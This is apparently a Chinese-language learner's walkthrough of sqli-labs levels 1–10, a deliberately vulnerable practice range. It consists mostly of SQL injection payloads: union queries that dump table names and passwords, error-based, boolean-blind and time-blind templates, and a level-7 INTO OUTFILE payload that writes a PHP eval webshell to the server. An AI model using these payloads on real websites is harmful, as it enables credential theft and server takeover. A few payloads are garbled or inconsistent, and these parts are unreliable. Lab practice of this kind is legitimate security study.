sqli-labs 1-10关
学习sql注入的必做靶场我终于来尝试一下下了.
第一关
?id=1'时出现
在测试?id=1' and '1'='1,页面正常
?id=1' and '1'='2 页面错误
判断存在单引号字符型注入
判断列数
?id=1' order by 3-- -时正常
?id=1' order by 4-- -时错误
有3列
判断回显点
?id=1' union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1' union select 1,2,database()-- -
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1' union select 1,2,group_concat(password) from users-- -
第二关
由?id=1 and 1=1
?id=1 and 1=2 判断 存在整数型注入
判断列数
?id=1 order by 3时正常
?id=1' order by 4时错误
有3列
判断回显点
?id=1 union select 1,2,3
2,3可回显
后查库,查表,查列,查字段
?id=-1 union select 1,2,database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
?id=-1 union select 1,2,group_concat(password) from users
第三关
由?id=1' 中报错为
?id=1' and '1'='1 正常
?id=1' and '1'='2 异常
存在注入 又由报错信息构造 1') -- -返回正常 逃逸成功
判断列数
?id=1') order by 3-- -时正常
?id=1') order by 4-- -时错误
有3列
判断回显点
?id=1') union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1') union select 1,2,database()-- -
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1') union select 1,2,group_concat(password) from users-- -
第四关
由?id=1" and "1"="1 返回正常
?id=1" and "1"="2 返回错误
存在双引号字符型注入
与第三关类似构造1") -- -构造逃逸
判断列数
?id=1") order by 3-- -时正常
?id=1") order by 4-- -时错误
有3列
判断回显点
?id=1") union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1") union select 1,2,database()-- -
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1") union select 1,2,group_concat(password) from users-- -
第五关
与前面相同我们尝试寻找注入点
?id=1 ?id=1' ?id=1"
?id=1' 报错
又尝试?id=1' and '1'='1 页面正常
和?id=1' and '1'='2 错误
从而判断注入类型为单引号字符型注入
判断列数
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 错误
列数为4
后尝试union select 联合查询
?id=-1' union select 1,2,3-- -
没有显示
考虑报错注入
常用报错注入模板
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度为64位
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
提供floor报错过程,其余两种类似
1.爆库名
?id=-1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
2.爆表名
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
3.爆列名
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
4.爆字段内容
?id=-1' union select 1,count(*),concat((select id from emails limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
第六关
与第五关类似
?id=1" and "1"="1 页面正常
?id=1" and "1"="2 页面不正常
存在双引号字符注入
与第五关类似移步第五关
第七关
与前面两关不同,You are in 后提示use outfile...
这触及到了我的只是盲区,只好去看一波大佬们的博客,
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必修在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
一 直接将select内容导入到文件
二修改文件结尾
首先判断id=1' 页面错误
?id=1' and '1'='1 页面正常
?id=1' and '1'='2 页面错误
我们尝试?id=1'))-- -成功逃逸
因而此题:mysql注入点,用工具对目标站写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
绝对路径为本地搭建我们只需判断root权限
(select count(*) from mysql.user)>0 回显正常则为最高权限
?id=1')) and (select count(*) from mysql.user)>0-- - 页面正常
我们输入一句话木马后使用蚊剑连接即可
?id=-1')) and union select 1,2,<?php @eval($_POST['cmd']);?> INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"-- -
第八关
与前七关不同,输入?id=1 就只有You are in......
输入?id=100
只有两个页面
可以为布尔盲注
常用三个函数 length() ,substr(),与ascii()函数
寻找注入点
当id=1' and '1'='1 页面正常
id=1' and '1'='2 页面错误
存在单引号注入点
判断数据库长度
?id=1' and length(database())>1-- -正常
?id=1' and length(database())=8-- - 正常 则database()的长度为8
//其实我们可以用database()代替数据库库名可不查
查库名的第n个字母
?id=1' and ascii(substr((select database()),n,1))>90 -- -
可手动一个个查
也可burpsuite爆破,也可脚本,dns注入也可
查第n个表名的m个字母 举例为当前数据库的第一个表的第一个字母
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1-- -
查第n个列名的第m个字母 举例为users表1列的第一个字母
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>1-- -
查第n个字段的第m个字母 举例为password列的第一个字段的第一个字母
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>1-- -
第九关
无论输入什么只有一个页面,时间盲注
什么型的自己慢慢试吧
?id=1' and sleep(5)-- -
可得为
判断数据库长度
?id=1' and if(length(database())>1, sleep(5),1)-- -
判断数据库名称
举例
?id=1' and if(ascii(substr((select database()),1,1))>1,sleep(5),1)-- -
爆库名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1,sleep(5),1)-- -
爆列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>1,sleep(5),1)-- -
爆字段
?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>1,sleep(5),1)-- -
第十关
与第九关类似
?id=1" and sleep(5)-- - 延迟5秒
判断为双引号字母时间盲注
其余同上